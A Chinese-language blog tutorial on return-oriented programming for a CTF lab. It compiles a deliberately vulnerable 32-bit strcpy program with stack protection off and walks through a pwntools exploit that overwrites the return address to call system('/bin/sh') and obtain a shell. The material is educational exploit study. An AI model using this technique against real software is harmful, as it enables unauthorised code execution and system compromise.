ROP学习

本文最后更新于:2021-12-01 晚上

前言

本篇来学习一下ROP技术。对于栈溢出来说,可以构造足够长的数据来进行溢出,同时也可以在栈上存放可执行代码,在这里栈溢出原理与实践有介绍关于在栈上执行代码。如果在栈上不可以执行代码,就需要通过ROP跳转到libc获得shell。本篇主要是学习网上的资源,从0开始CTF-PWN(四)ROP绕过栈可执行保护与GOT表劫持

ROP

代码

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
char buf[128];
if (argc < 2) return 1;
strcpy(buf, argv[1]);
printf("Input:%s\n", buf);
return 0;
}

使用如下命令进行编译

1
gcc-4.8 -m32 -O0 -fno-stack-protector -o ROP ROP.c

编译参数说明

  • -m32:使用32位编译
  • -O0:关闭所有的优化
  • -g:在可执行文件中加入源码的信息
  • -fno-stack-protector:关闭栈保护
  • -z execstack:栈上代码可执行
  • -z norelro / -z relro -z lazy / -z relro -z now (关闭disabled / 部分开启Partial / 完全开启Full)

分析

使用IDA打开程序来看下,可以看到存在栈溢出,可以覆盖返回地址。

现在我们需要getshell,所以要执行system(/bin/sh),现在我们需要构造一个payload,覆盖栈之后刚好覆盖返回地址。但是在实际操作中,我发现我没办法像帖子一样实现,我找不到/bin/sh的地址,所以我自己减了难度,我在源码中定义了,system和/bin/sh。

1
2
3
4
5
char *sz = "/bin/sh";
void a()
{
system();
}

现在就可以开始实现,先搜索system地址

查找/bin/sh地址

开始构造payload,先输入140个a,看一下栈的空间,刚好到返回值地址。

现在再来复习一下关于调用函数的时候栈的空间,调用函数的时候,栈的情况,首先是返回地址,然后是参数,依次参数n、参数n-1、参数n-2……参数1。

如图,此时只有一个参数

所以现在payload是:140个字符(用来填充栈空间)+ system地址(覆盖返回值地址)+ 任意四个字节字符(system函数的返回地址)+ /bin/sh地址(system的参数)

EXP

构造的exp

1
2
3
4
5
6
7
8
from pwn import *
sysaddr = 0x8048340
binaddr = 0x8048570
payload = "a"*140 + p32(sysaddr) + "a"*4 + p32(binaddr)

p = process(argv=[ "/home/pwn/rop/1" , payload ] )

p.interactive()

成功拿到shell


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!